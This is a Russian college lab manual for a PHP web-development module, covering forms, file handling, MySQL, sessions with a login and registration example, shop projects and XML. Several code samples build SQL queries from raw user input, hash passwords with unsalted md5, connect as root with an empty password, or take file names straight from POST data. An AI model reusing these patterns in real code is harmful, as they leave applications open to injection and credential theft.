



Автономная некоммерческая профессиональная образовательная организация
«МЕЖДУНАРОДНЫЙ ВОСТОЧНО-ЕВРОПЕЙСКИЙ КОЛЛЕДЖ»

Пушкинская ул., д. 268, 426008, г. Ижевск. Тел.: (3412) 77-68-24. E-mail: mveu@mveu.ru, www.mveu.ru
ИНН 1831200089. ОГРН 1201800020641

МЕТОДИЧЕСКИЕ РЕКОМЕНДАЦИИ

по выполнению лабораторных работ

при изучении

ПМ.09 Проектирование, разработка и оптимизация веб-приложений

для специальности

09.02.07 Информационные системы и программирование

Ижевск, 2023 г.

Лабораторная работа – небольшой научный отчет, обобщающий проведенную обучающимся работу, которую он представляет для защиты преподавателю.

Ведущей дидактической целью лабораторных работ является экспериментальное подтверждение и проверка существенных теоретических положений (законов, зависимостей).

К лабораторным работам предъявляется ряд требований, основным из которых является полное, исчерпывающее описание всей проделанной работы, позволяющее судить о полученных результатах, степени выполнения заданий и профессиональной подготовке обучающихся.

ЛАБОРАТОРНЫЕ РАБОТЫ:

МДК. 09.01 Проектирование и разработка веб-приложений

ТЕМА ЛАБОРАТОРНОЙ РАБОТЫ №1. Создание серверных сценариев с использованием технологии PHP

Объем часов 6

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Задание № 1.

- Изучить конструкции языка PHP, операторы присваивания, операторы вывода.
- Подготовить в Блокноте или в любом текстовом редакторе программу, выполняющую следующие действия:
 - создать три переменные с названием товаров (\$product1, \$product2, \$product3) и соответствующие им переменные с ценой товаров (\$price1, \$price2, \$price3), вывести их на экран;
 - рассчитать и вывести среднюю цену товара.
 - Протестировать программу с различными значениями переменных.
 - Оформить вывод данных о товарах в виде таблицы.
 - Для оформления таблицы поместить тэги таблицы в оператор вывода (echo или print). Новый вариант программы сохранить в файле с другим именем.
 - Использовать для табличного вывода HTML блоки. Для вывода переменных в тэги необходимо включить фрагменты программы. Сохранить файл.

Задание № 2.

- Изучить условные инструкции if, else, elseif.
 - Подготовить программу для определения самого дорогого из трех товаров. За основу взять файл из 1 задания
1. Сравнить цены товаров и вывести наименование и цену самого дорогого товара.
 2. Сопроводить вывод результата соответствующим сообщением.
 3. Сравнить цену первого товара с ценами второго и третьего товаров. Если она окажется больше сформировать вспомогательную переменную, например \$max_price, равную цене первого товара и \$max_product, равную наименованию первого товара. В противном случае сравнить цены второго и третьего товаров (использовать конструкцию elseif и else) и записать во вспомогательные переменные соответствующие данные. Вывести вспомогательные переменные.

4. Протестировать программу с различными значениями переменных.
5. Определить товар с минимальной ценой. Решить задачу, методом "вытеснения", используя только конструкцию `if`. Во вспомогательные переменные `$max_price` и `$max_product` сразу записать данные о первом товаре. Последовательно сравнить цены второго и третьего товаров со значением, записанным в переменной `$max_price` (конструкция `if`). Если цена окажется меньше значения записанного в переменной `$max_price`, переопределить переменные `$max_price` и `$max_product`. Протестировать программу с различными значениями переменных.

Задание № 3.

- Изучить материалы о работе с функциями.
- Оформить решение задачи Задания 2 с помощью функции, определяющей товар с максимальной ценой. Функция должна иметь шесть формальных входных параметров: три переменные, хранящие наименования товаров, и три переменные, задающие их стоимость. Вывод искомого данных производить внутри функции.
- После описания функции вызвать ее не менее трех раз с различными значениями фактических параметров.
- Подготовить файл, обеспечивающий проверку правильности ввода пароля. Действия по проверке пароля должны выполняться с помощью пользовательской функции с одним входным аргументом. Функция должна сравнивать пароль, заданный внутри функции, с паролем, переданный ей через аргумент.
- Результат сравнения вывести в виде текста: "Пароль верный" или "Ошибка в пароле".
- Вывод сообщения должен производиться внутри тела функции.
- Протестировать программу с различными значениями пароля.
- Модифицировать программу так, чтобы вызов функции выполнялся в операторе вывода. Например, если имя функции `control($p)`, то ее вызов: `print control("1234")`. Внутри тела функции использовать инструкцию `return`.

Задание № 4.

- Изучить материалы, относящиеся к организации циклов в PHP.
- Подготовить текст программы для решения следующей задачи. Пусть стоимость товара равна 100 р. в начале текущего года. Процент инфляции в этом году по прогнозам составит 10 %. В последующие годы прогнозируется увеличение процента инфляции на 3,5 % в год.
- С помощью циклической программы вывести прогнозируемую стоимость товара к концу текущего года и в последующие годы. Прекратить расчеты, как только стоимость товара превысит 150 р. Использовать цикл `while`.
- Решить ту же задачу с помощью цикла `for`. Вывести прогнозируемую стоимость товара к концу текущего года и в последующие 5 лет. Вывод оформить в виде таблицы ГОД => ЦЕНА => ИНФЛЯЦИЯ.
- Модифицировать файл для решения следующей задачи. Пусть при достижении стоимости товара 170 р., инфляция начнет снижаться каждый год на 3,5 %.
- Спрогнозировать стоимость товара через 10 лет.

Задание № 5.

- ❖ Изучить основы работы с массивами.
- ❖ Подготовить текст программы, выполняющей следующие действия:
 - создать список (индексированный массив), состоящий из пяти наименований товаров с помощью функции `array()`;
 - добавить еще не менее двух элементов массива с помощью идентификатора массива;
 - определить количество элементов массива, используя функцию `count()`, и вывести названия товаров в цикле `for`.
- ❖ Протестировать работу программы с различным количеством элементов массива.

- ❖ Модифицировать программу, добавив сортировку массива в алфавитном порядке наименований товаров (использовать функцию `sort`). Вывести на экран исходный массив и результат сортировки.

Задание № 6.

- Подготовить программу для обработки ассоциативного массива. Программа должна обеспечивать следующее:
 - создать ассоциативный массив: ТОВАР => ЦЕНА, где название товара – это ключ (индекс) массива, а цена – значения элементов массива;
 - массив должен содержать не менее пяти элементов, три из них задать с помощью функции `array()`, а остальные задать непосредственно в операторе присваивания;
 - вывести товары и их цены, используя оператор цикла `foreach()`.
- Протестировать работу программы с различным количеством элементов массива, добавив их любым способом.
- Модифицировать программу для решения следующих задач:
 - подсчитать количество товаров и их суммарную стоимость;
 - отсортировать массив:
 - в порядке убывания (возрастания) цены товара и вывести на экран. Использовать функции `asort()` и `arsort()`.
 - выполнить сортировку массива так, чтобы товары (ключи) расположились в алфавитном порядке для чего использовать функции `ksort()` или `krsort()`.

Задание № 7.

Создайте `php`-скрипт, выводящий страницу с форматированной средствами разметки HTML информацией о вас как о разработчике.

Задание № 8.

- Создайте `php`-скрипт, генерирующий страницу с таблицей основных цветов HTML.
- Указания:
 - интенсивности красно-го, зеленого и синего цветов принимают шестнадцатеричные значения 00, 33, 66, 99, CC, FF.
 - Для преобразования между десятичными и шестнадцатеричными числовыми значениями используйте стандартные функции `dechex`, `hexdec`.

Задание № 9.

- Реализуйте скрипт, генерирующий и выводящий в браузер случайные числа до тех пор, пока их сумма не станет больше или равна заданного значения $\$n$.
- Указание: для генерации псевдослучайного целого числа, принадлежащего диапазону $[\$min, \$max]$, используйте стандартную функцию `rand(\$min, \$max)`.

Задание № 10. Оформить отчет.

ТЕМА ЛАБОРАТОРНОЙ РАБОТЫ №2. Обработка данных на форме

Объем часов 4

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Задание № 1.

Изучить материалы, содержащие теоретические сведения об организации работы с формами в языке PHP.

Задание № 2.

- Подготовить текст программы, выполняющей следующие действия: создать html-документ, содержащий форму с полями Ф.И.О., Адрес, Email, Пароль и передать введенные данные для обработки php-программе – для вывода данных на экран.
- Протестировать работу программы.
- Решить ту же задачу, но с помощью одного файла.
- Проверить работоспособность программы.

Задание № 3.

- Подготовить программу для решения аналогичной задачи, но проверяющей пароль пользователя, вводимый через поле формы. Значение правильного пароля задается внутри текста программы. Сохранить текст программы в файле и протестировать ее.
- Модифицировать программу так, чтобы в случае ввода правильного пароля, происходил переход на другой файл с текстом поздравления.

Задание № 4.

- Подготовить файл для отправки электронного письма. Файл должен содержать форму, в которой расположить 4 элемента с соответствующими комментариями:
 - текстовое поле (text) с именем to;
 - текстовое поле (text) с именем subject;
 - текстовую область (textarea) с именем message;
 - кнопка (submit) с именем mail_ok.
- Данные из формы передать методом POST скрипту, с функцией отправки сообщения и проверкой правильности отправки письма.

Пояснения к программе отправления электронного письма

- Для простоты обработки данных, полученных из формы, назовем соответствующие переменные: \$to, \$subject и \$message. Затем информацию из этих переменных будем использовать для отправки письма на адрес e-mail, указанный в переменной \$mail.
- Отправка письма производится с помощью функции mail(): bool mail (string \$to , string \$subject , string \$message) Функция возвращает значение TRUE если почта отправлена и FALSE в противном случае. Так как при работе с локальным хостингом отправка письма не производится, проверку
- правильности передачи письма можно выполнить с помощью оператора If и вывести соответствующее сообщение на экран. Пример программы для отправки электронного письма

Задание № 5.

Написать программу-калькулятор, которая позволит пользователю передать два числа и указать арифметическую операцию, выполняемую над ними.

Задание № 6.

- Реализовать ввод и обработку анкеты пользователя.
- Форма анкеты заполняется на одной странице, скрипт-обработчик, реализованный в отдельном файле, проверяет правильность заполнения всех полей и делает вывод на основе представленной информации (например, вычисляет количество языков программирования, которые знает пользователь, определяет его возраст в годах по введенной дате рождения и т.п.).

Задание № 7.

Реализовать тест из 3–4 вопросов с несколькими вариантами ответа на каждый вопрос, предусмотреть начисление баллов за выбранные пользователем варианты ответа. В конце тестирования, в зависимости от количества набранных баллов, вывести резюме по тесту.

Задание № 8. Оформить отчет.

ТЕМА ЛАБОРАТОРНОЙ РАБОТЫ №3. Организация файлового ввода-вывода

Объем часов 4

Цель лабораторной работы. Научиться разрабатывать и проектировать информационные системы

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Задание № 1.

Изучить материалы, содержащие теоретические сведения об организации файлового ввода-вывода в языке PHP.

Задание № 2.

- Создать программу для проведения опроса – голосования по оценке какого-то товара или мероприятия.
- Создать форму для голосования с вопросом "Как вы оцениваете наш магазин?" и вариантами ответов в виде radio-button.
- Подготовить текст программы, обеспечивающей следующие действия. По нажатию кнопки "проголосовать" нужно в соответствии с выбранной оценкой:
 - открыть необходимый файл,
 - прочитать записанное в файле число,
 - увеличить его на единицу,
 - и перезаписать результат в этот же файл.
- Вывести результаты голосования.
- Протестировать работу программы не менее десяти раз, просмотреть содержимое файлов.
- Модифицировать программу так, чтобы результаты голосования выводились в виде диаграммы.
- Создать два вспомогательных файла. Первый должен обеспечивать создание текстовых файлов 2.txt, 3.txt, 4.txt, 5.txt и запись в них числа 0. Второй – удаление этих файлов. Произвести несколько раз тестирование процесса голосования.

Рекомендации по составлению программы

- Создать файлы для хранения информации: 5.txt, 4.txt, 3.txt и 2.txt с первоначальным значением 0 в каждом файле. В дальнейшем в них будут записываться значения счетчиков ответов при голосовании.
- Написать фрагмент программы, обеспечивающий вывод формы. Значения параметров поля формы указать цифрой (5, 4, 3, 2), совпадающей с именем файла. Например, для первой строки формы с отметкой отлично поле формы может выглядеть так: `<input type="radio" name="vote" value="5" checked > отлично
`
- Заметим, что только это поле "отмечено" (checked), чтобы стимулировать принятие пользователем желаемого решения.
- Составить программу обработки переданных данных (например, методом POST). Ниже приведен фрагмент программы для реализации обработки файлов (чтения и записи нового значения):

```
if (@$_POST['vote'])  
{
```

```
// если параметр vote передаётся методом POST, значит нажата кнопка проголосовать
$file=$_POST['vote'].".txt";
// в переменной vote содержится число 2, 3, 4, или 5. Наши файлы имеют такие же
// названия, значит мы можем использовать эти значения для выбора файла,
// сформировав таким образом его имя
$f=fopen($file,"r");
// открываем файл для чтения
$votes=fread($f,100);
// записываем в переменную $votes старое количество голосов fclose($f);
// закрываем файл
$votes++;
// увеличиваем на единицу количество голосов
$f=fopen($file,"w");
// открываем файл для записи
fwrite($f,$votes);
// записываем в файл новое количество голосов
fclose($f);
// закрываем файл
```

➤ Допisać фрагмент программы для считывания информации из каждого файла и вывода результата.

4. Для вывода диаграммы можно воспользоваться тэгом горизонтальной линии <hr> с параметрами. Например:

?>

```
<hr align="left" color="#FF0000" size="20" width="<?=$vline?>">
```

<? Программный код

Значение параметра width, отвечающего за ширину линии, здесь заданы фрагментом рнскрипта – упрощенная форма вывода переменной. Само значение переменной \$vline должно быть связано с переменной \$votes масштабным коэффициентом, который следует подобрать самостоятельно.

Задание № 3. Реализовать приложение для работы с телефонным справочником, данные которого хранятся в текстовом файле. Предусмотреть возможность сохранения нескольких номеров телефона для одного абонента.

Задание № 4. Реализовать приложение для проверки доступности сервера, адрес которого введен пользователем в форму.

Задание № 5. Реализовать приложение для получения и отображения информации, полученной с удаленного сервера (например, прогноза погоды, ленты заголовков новостей).

Задание № 6. Реализовать приложение-файло-обменник, позволяющее посетителям страницы загружать файлы, пока не исчерпан указанный в настройках приложения общий дисковый лимит, а также просматривать список всех загруженных файлов и удалять их. Предусмотреть список разрешенных типов файлов.

Задание № 7. Оформить отчет.

Тема лабораторной работы №4. Организация поддержки базы данных в PHP

Объем часов 4

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Задание № 1. Изучить материалы, содержащие теоретические сведения об организации работы с базами данных в языке PHP.

Задание № 2. Создать свою базу данных, например, baza1. Просмотреть результаты работы MySQL, проанализировать выполненный SQL-запрос, получить его PHP-код. Выполнить тестирование примера по подключению к базе данных в PHP. Здесь и далее имя хоста будет localhost, имя пользователя – root, параметр пароль нужно оставить пустым. Таким образом, строка `$p = mysql_connect("имя хоста", "имя пользователя", "пароль")` будет выглядеть так:

```
$p = mysql_connect("localhost", "root", "");
```

А строка выбора базы данных:

```
mysql_select_db("baza1") or die("NO BASE");
```

Научиться создавать таблицы в базе данных средствами предложенного интерфейса. Познакомится с описанием характеристик полей при создании таблицы. Проанализировать описание полей при создании таблицы telephones:

```
create table telephones(id INT AUTO_INCREMENT PRIMARY KEY,  
surname VARCHAR(20),  
email VARCHAR(20),  
tel VARCHAR(20));
```

- Создать таблицу telephones средствами предложенного интерфейса. Заполнить таблицу двумя записями, научиться просматривать и редактировать записи. Удалить таблицу.
- Создать таблицу с помощью программы PHP. Выполнить программу. Дополнить таблицу несколькими записями через предложенный интерфейс. Просмотреть таблицу telephones. Пополнить таблицу программными средствами PHP.
- Создать собственную форму для заполнения таблицы. Наполнить таблицу данным, среди которых должны быть несколько записей с одинаковыми фамилиями. Научиться выводить данные из таблиц программными средствами.
- Создать таблицу с товарами products (поля: идентификатор, название, цена, описание) и программно заполнить ее пятью – шестью товарами. Обеспечить средства интерфейса для работы с товарами (заполнение и просмотр таблицы).

Задание № 3. Средствами предложенного интерфейса для работы с базами данных создать таблицу для хранения данных о странах – производителях товаров в Вашем Интернет магазине.

Например, таблицу country, которая содержит поля:

id_c – идентификатор страны, и

name_c – название страны.

Типы полей выбрать самостоятельно.

Заполнить таблицу двумя – тремя записями.

В таблицу products добавить еще одно поле – идентификатор страны – производителя. Тип данных этого поля должен совпадать с типом поля id_c таблицы country.

Заполнить в таблице products вновь созданное поле идентификатора страны значениями, соответствующими таблице country. Создать файл вывода каталога товаров так, чтобы он выводил не только товары, но и страны их производителей.

Обеспечить вывод товаров с сортировкой по полю секции товаров.

Рекомендации по созданию программы

Для обращения к связанным таблицам в запросе необходимо предварять названия полей именем их таблиц. В части FROM – указать имена таблиц через запятую, а в выражение WHERE указать условие равенства значений данных в полях связи. Например:

```
$query = "SELECT country.Name_c ,products.section, products.name,
```

```
products.description, products.price FROM products, country
```

```
WHERE (country.id_c=products.country) " ;
```

```
$result=mysql_query($query);
```

Пояснения к организации сортировки

В запросе на выборку сортировку можно выполнить с помощью инструкции order by имя поля. Например, для сортировки товаров по возрастанию их стоимости запрос будет выглядеть так:

```
$result=mysql_query("SELECT country.Name_c, products.section, products. name,
```

```
products.description, products.price FROM products, country WHERE country.id_c=products.country
```

```
order by products.price");
```

Чтобы задать обратный порядок сортировки нужно добавить инструкцию DESC после имени поля, являющегося ключом сортировки.

Задание № 4. Создать БД с тремя полями:

адрес электронной почты (50 символов), текст сообщения (250 символов), дата и время отправления. Написать программу, с помощью которой пользователи могут заполнить эту БД.

Задание № 5. Написать систему хранения книг в БД. Меня волнуют названия книг и авторы – больше ничего хранить не надо. Предложите структуру таблиц. Учтите, что книга может быть написана несколькими соавторами. Получите список книг, которые написаны тремя соавторами. То есть получить отчет «книга – количество соавторов» и отфильтровать те, у которых соавторов меньше 3х. Сделайте это одним SQL запросом.

Задание № 6. Есть база: фильмы и страны, у одного фильма может быть много стран производителей, надо построить базу. Нерадивый программист удалял фильмы, но не подчистил таблицу связи. Надо найти и удалить все мусорные записи, которые остались в таблице связи.

Задание № 7. Оформить отчет.

Тема лабораторной работы №5. Отслеживание сеансов (session)

Объем часов 4

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Формируемые умения

У1. Разрабатывать программный код клиентской и серверной части веб-приложений;

У3. Разрабатывать и проектировать информационные системы

Большинство сложных web-приложений позволяют регистрацию и авторизацию пользователей на сайте. Основой для управления механизмами авторизации служат сессии. Сессии позволяют создавать и использовать переменные, сохраняющие свое значение в течение всего времени работы пользователя с сайтом. При этом у каждого пользователя сайта данные переменные будут собственными, т.е. их область видимости (англ. variable scope) распространяется на все время нахождения на сайте конкретного пользователя, причем для каждого захода пользователя на ваш сайт эти переменные будут различными.

В основе всего механизма сессий лежит решение задачи об идентификации того, от кого именно пришел запрос на сервер. Если это будет точно известно, то уже не возникнет большой проблемы в том, чтобы предоставить скрипту информацию, относящуюся именно к этому конкретному пользователю.

Данная задача решается путем присвоения каждой сессии уникального идентификатора SID (англ. Session Identifier), который создается в тот момент, когда пользователь заходит на сайт, и уничтожается, когда пользователь уходит с сайта. Он представляет собой строку из 32 символов, например, ac4f4a45bdc893434c95dcaffb1c1811. SID передается на сервер вместе с каждым запросом клиента и возвращается обратно вместе с ответом сервера.

Алгоритм генерации SID позволяет гарантировать его уникальность, поэтому исключена возможность того, что две сессии будут иметь один и тот же идентификатор сессии. PHP может использовать два различных механизма в качестве транспортного средства для передачи SID:

- файлы cookies;
- дополнительный параметр URL-адреса. Cookies (от англ. cookie – печенье) – это небольшие текстовые файлы с зашифрованной информацией, отправляемые веб-сервером и хранимые на компьютере пользователя в назначенной браузером для этой цели системной папке. Браузер всякий раз при попытке открыть страницу соответствующего сайта пересылает его cookie серверу в составе HTTP-запроса, при этом SID сохраняется "внутри" браузера и остается незаметным для пользователя. Поддержка cookies – необязательное условие для браузера, она может отсутствовать или быть отключена. Все cookies, как минимум, имеют имя и значение, а отправить их программно можно функцией `bool setcookie (string $name [, string $value])`, имеющей еще несколько необязательных параметров. Прочитать имеющиеся для данной страницы cookies можно как элементы ассоциативного массива `$_COOKIE`.

Функции для удаления cookie не существует, это происходит либо по истечении срока ее хранения, либо по явному вызову `setcookie` с указанием третьим параметром времени хранения, которое уже истекло: `setcookie ('my_cookie',",time()-14*24*3600)`; Следует также учесть, что вначале сервер направляет cookie клиенту как часть отклика HTTP, потом клиент, если он готов принять cookie, возвращает ее серверу. Поэтому для проверки того, подключены ли cookies в браузере клиента, скрипту может понадобиться программная перезагрузка страницы.

При проверке этого кода после включения/выключения в браузере поддержки cookies для некоторых обозревателей может понадобиться их перезапуск. Менее "красивый" альтернативный способ работы с SID – его передача через параметр URL-адреса. PHP имеет возможность автоматически добавлять SID ко всем ссылкам в генерируемых HTML страницах, поэтому вам, как правило, не нужно будет заботиться о том, чтобы добавлять этот идентификатор к каждой ссылке вручную. Если же вы по каким-либо причинам хотите сами передавать идентификатор сессии – вы всегда можете получить его из константы SID или из функции `session_id()`. Данный способ неудобен тем, что SID будет отображаться во всех URL-адресах приложения, что может создать, например, проблему с идентификацией URL-адресов поисковыми машинами. Отключить использование номера сессии в URL можно настройкой `session.use_trans_sid = 0` в файле `php.ini`. На практике примерно у 99,5 % пользователей cookies включены и поддерживаются, поэтому данный способ можно считать не очень актуальным.

Для того чтобы иметь возможность использовать сессионные переменные в своей программе, необходимо сначала создать сессию: `session_start()`; Нужно вызывать эту функцию на каждой странице, где требуется использовать сессионные переменные. Для наглядности сессии можно задать имя с помощью функции `session_name(имя_сессии)`. Делать это нужно еще до инициализации сессии. Получить имя текущей сессии можно с помощью этой же функции, вызванной без параметров: `session_name()`.

Регистрация сессионных переменных производится путем вызова следующей функции:

```
session_register('var1','var2',...);
```

Зарегистрировать переменную также можно, просто записав ее значение в ассоциативный массив `$_SESSION`:

```
$_SESSION['имя'] = 'значение';
```

В этом массиве хранятся и открыты для программного доступа все зарегистрированные (глобальные) переменные сессии. Получить идентификатор текущей сессии можно с помощью функции `session_id()`. Функция `session_unregister(имя_переменной)` удаляет указанную глобальную переменную из текущей сессии. Для того чтобы сбросить значения всех переменных сессии, можно использовать функцию `session_unset()`.

Уничтожить текущую сессию целиком можно функцией `session_destroy()`. Она не сбрасывает значения глобальных переменных сессии и не удаляет cookies, но уничтожает все данные, ассоциируемые с текущей сессией. Следует понимать, что использование механизма сессий не гарантирует полной безопасности системы. Во-первых, данные, передающиеся по открытому протоколу HTTP, могут быть перехвачены, во-вторых, так как переменные сессии глобальны, они сохраняются в зашифрованном виде в cookie-файлах на компьютере пользователя. Более надежным решением представляется хранение ценных данных, таких как логины и пароли, только в базе и с

шифрованием паролей, а также использование в важных приложениях защищенных версий протоколов, таких как HTTPS. С учетом сказанного, добавим к возможностям примера 9 несложный механизм регистрации и авторизации пользователей с использованием сессий.

Часть кода, доступная только для авторизованных пользователей, может быть реализована в файле `index.php` и других модулях системы следующим образом:

```
$login1 = check_user();
if (!empty($login1)) {
    echo '<p>Вы вошли как ' . $login1 .
        ' . <a href="logout.php">Выход</a></p>';
    //код для авторизованного пользователя
}
else {
    include "logform.php";
}
```

Функция `check_user`, добавленная в модуль `functions.php`, просто проверяет, выполнялась ли авторизация, связанная с установкой определенной переменной сессии:

```
function check_user () {
    if (!isset($_SESSION['my_inside']))
        return '';
    else return $_SESSION['current_user'];
}
```

Включаемый модуль `logform.php` содержит код для вывода формы авторизации, отправки логина и пароля модулю `login.php`, непосредственно отвечающему за вход в систему, а также ссылки на модуль регистрации `register.php`:

```
<form method="post" action="login.php">
<table width=100% align=center border=0>
<tr><td>Логин:</td>
<td><input type=text size=32 maxlength=32
    name=login></td></tr>
<tr><td>Пароль:</td>
<td>
    <input type=password size=32 maxlength=32
        name=password></td></tr>
<tr><td align=center>
    <a href="register.php">Регистрация</a></td>
<td align=center>
    <input type=submit value="OK"></td></tr>
</table></form>
<?php /*другой код */ ?>
```

Модуль login.php сравнивает данные, полученные из формы входа, с логином и зашифрованным паролем, хранящимися в базе. При совпадении данных устанавливаются нужные переменные сессии и происходит перенаправление на главную страницу:

```
<?php
$params = array('login', 'password');
require_once ("functions.php");
function login ($login1, $password1) {
    $sql = 'select login, password from '.
    'users where login="'. $login1. '" limit 0,1';
    $result = dbquery ($sql);
    if ($result and dbrows($result)>0) {
        $data = dbfetcha ($result);
        if ($data['password']==md5($password1)) {
            $_SESSION['my_inside']=1;
            $_SESSION['current_user']=$login1;
        }
    }
    login ($login, $password);
    header('Location: index.php');
?>
```

Модуль logout.php, также вызываемый по ссылке из index.php, позволяет выйти из системы:

```
<?php
require_once ("functions.php");
$current_user=check_user();
if (!empty($current_user)) {
    $_SESSION = array();
    session_destroy ();
}
header('Location: index.php');
?>
```

Наконец, модуль register.php предоставляет форму для регистрации, проверяет введенный логин на уникальность и добавляет новую запись о пользователе, если регистрация успешна:

```
<?php
$params = array('login', 'password1',
    'password2');
require_once ("functions.php");
include "head.php";
$error='';
if (!empty($password1) and
    $password1!=$password2)
    $error.='Пароли не совпадают';
if (!empty($login)) {
    $sql='select login from users '.
    'where login="'. $login. '" limit 0,1';
    $result=dbquery($sql);
    if ($result and dbrows($result)) {
        $data=dbfetcha($result);
        if ($data['login']==$login) {
            $error.='Такой логин уже есть';
        }
    }
}
}
```

```

if (!empty($error)) {
    echo '<p>'. $error.
        ', <a href="register.php">попробуйте '.
        'еще раз</a></p>';
    include "foot.php";
    exit;
}
if (!empty($login) and !empty($password1)) {
    $sql='insert into users (login,password)'.
        ' values ("'. $login. '", "'.
        md5($password1) .'")';
    $result=dbquery($sql);
    if (!$result) { echo "Bad sql $sql"; }
    else {
        echo '<p>Регистрация успешна, войдите '.
            'в систему с <a href="index.php">'.
            'главной страницы</a></p>';
    }
}
else {
?>
    <form method="post">
    <table width=100% align=center border=0>
    <tr><td>Новый логин:</td>
    <td><input type=text size=32 maxlength=32
        name=login></td></tr>
    <tr><td>Новый пароль:</td>
    <td><input type=password size=32 maxlength=32
        name=password1></td></tr>
    <tr><td>Новый пароль еще раз:</td>
    <td><input type=password size=32 maxlength=32
        name=password2></td></tr>
    <tr><td colspan="2" align=center>
        <input type=submit value="OK"></td></tr>
    </table></form>
<?php
}
include "foot.php";
?>

```

Предполагается, что включаемые файлы с именами head.php и foot.php содержат общие для всех файлов проекта дизайнерские "шапку" и "подвал" страницы. Рекомендуемые по итогам главы разделы стандартной справки: "Справочник языка" – "Предопределенные переменные" – "\$_COOKIE", "Справочник функций" – "Функции для работы с сессиями".

Задание № 1. Изучить приведенный теоретический материал.

Задание № 2. Протестируйте приведенный пример.

Задание № 3. Написать программу сохранения персональных настроек пользователя (ник и фон страниц) с использованием функций управления сессией.

Задание № 4. Написать программу, которая применяет функции управления сессией для запоминания того, какие страницы уже посещались пользователем. Вывести список ссылок на все посещенные страницы.

Задание № 5. Оформить отчет

Тема лабораторной работы №6. Создание проекта «Регистрация»

Формируемые умения

- У1. Разрабатывать программный код клиентской и серверной части веб-приложений;
- У3. Разрабатывать и проектировать информационные системы

Объем часов 4

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Задание № 1. Добавьте к скрипту приведенного в лабораторной работе № 5 возможности регистрации и авторизации пользователя, обеспечьте возможность добавления сообщений только от зарегистрированных пользователей. Реализуйте авторизацию через cookie-файлы.

Задание № 2. Создать форму, с помощью которой пользователь может задать свой ник и выбрать цвет фона страниц сайта.

Задание № 3. Использовать cookie для того, чтобы приветствовать пользователя по имени на следующих страницах с заданным фоном.

Задание № 4. Оформить отчет.

Тема лабораторной работы №7. Создание проекта «Интернет магазин»

Объем часов 4

Формируемые умения

- У1. Разрабатывать программный код клиентской и серверной части веб-приложений;
- У3. Разрабатывать и проектировать информационные системы

Цель лабораторной работы. Научиться разрабатывать программный код клиентской и серверной части веб-приложений

Задание № 1. Создать веб-сайт “Интернет-магазин”. Необходимо создать элемент дизайна форму для заказа товара в интернет-магазине. Реализовать средствами языка написания сценариев PHP обработку заказов клиентов по каталогу. Для этого необходимо создать сценарий, который считывает информацию из формы для обработки. По результатам заказа на сайте необходимо вывести на экран содержимое корзины пользователя с рассчитанной суммой заказа. На сайте необходимо осуществить проверку вводимых пользователем данных в форму. При обработке заказа следует использовать математические функции, а также различные условные операторы.

Тематика:

- 1) книжный магазин научной литературы (заказ книг в определенной научной области);
- 2) магазин программных средств (заказ программ для ЭВМ);
- 3) магазин видео (покупка фильмов на DVD-дисках);
- 4) магазин компьютерных игр (заказ компьютерных игр на CD-дисках);
- 5) музыкальный магазин (заказ музыкальных компакт дисков);
- 6) цветочный магазин (заказ доставки цветов);
- 7) магазин парфюмерии и косметики (заказ косметики и парфюмерии по каталогу);
- 8) магазин одежды (заказ одежды по каталогу);
- 9) спортивный магазин (заказ спортивной формы и инвентаря);
- 10) магазин мебели (заказ мебели, элементов интерьера и товаров для дома).

При разработке веб-сайта связать между собой 10–15 веб-страниц. В исходном html-коде использовать комментарии каждого тега.

Задание № 2. Создать веб-сайт интернет-магазин. Реализовать средствами языка написания сценариев PHP обработку заказов клиентов по каталогу. Необходимо создать элемент дизайна форму и реализовать сохранение данных пользователя в текстовый файл. Организовать работу по открытию, просмотру и записи данных в файл. Помимо этого необходимо реализовать вывод содержимого файла на экран. Реализовать счетчик посещений. Обработку следует реализовать по тематике лабораторной работы № 3. При разработке веб-сайта связать между собой 10–15 вебстраниц. В исходном html-коде использовать комментарии каждого тега.

Задание № 3. Написать скрипт, позволяющий организовать интернет-магазин. Список товаров хранится в базе данных на стороне сервера. Покупатель должен иметь возможность просмотреть все имеющиеся в наличии товары и сделать заказ. Покупатель должен иметь возможность сделать запрос, например, указав интервал цен, который его устраивает или какие-либо другие данные. До тех пор, пока покупатель выбирает отдельные товары, его заказ хранится на стороне клиента в виде cookie. После того как покупатель сформировал заказ, заказ отсылается на сторону сервера, где покупка товара учитывается в базе данных.

Варианты

1. В базе данных содержится информация о книгах: автор, название, изображение обложки, издательство, год выпуска, цена.
2. В базе данных содержится информация об автомобилях: модель, изображение автомобиля, год выпуска, тип кузова, мощность двигателя, цвет, цена.
3. В базе данных содержится информация о туристических поездках: страна, город, изображение городской достопримечательности, количество дней, дата поездки, класс отеля.
4. В базе данных содержится информация о журналах: название, изображение обложки, год выпуска, номер, издательство, число страниц, цена.
5. В базе данных содержится информация о местах в отеле: название отеля, класс номера, изображение номера, количество мест в номере, цена.

Задание № 4. Оформить отчет.

Тема лабораторной работы №8. Составление схем XML-документов

Объем часов 4

Формируемые умения

- У1. Разрабатывать программный код клиентской и серверной части веб-приложений;
- У3. Разрабатывать и проектировать информационные системы

Цель лабораторной работы. Научиться разрабатывать и проектировать информационные системы

Задание № 1. Создайте XML-документ.

index.xml

```
<?xml version="1.0" encoding="windows-1251" ?>
<notepad>
  <note id="1" date="11/04/99" time="13:30">
    <subject>Важная деловая встреча</subject>
    <importance/>
    <text>
      Надо встретиться с <person id="1625">Иваном
      Ивановичем</person>, предварительно
      позвонив ему по телефону <tel>123-12-12</tel>
    </text>
  </note>
  <note id="2" date="12/04/99" time="13:00">
    <subject>Позвонить домой</subject>
    <text>
      <tel>124-13-13</tel>
    </text>
  </note>
  ...
  <note id="3" date="13/04/99" time="5:00">
    <subject>Поехать с Максом на рыбалку</subject>
    <text>
      Напомнить Максy чтобы он сварил кашу и взял блёсна.
      <tel>124-10-13</tel>
    </text>
  </note>
</notepad>
```

Создайте файл содержащий стиль оформления 1.css.

Результат

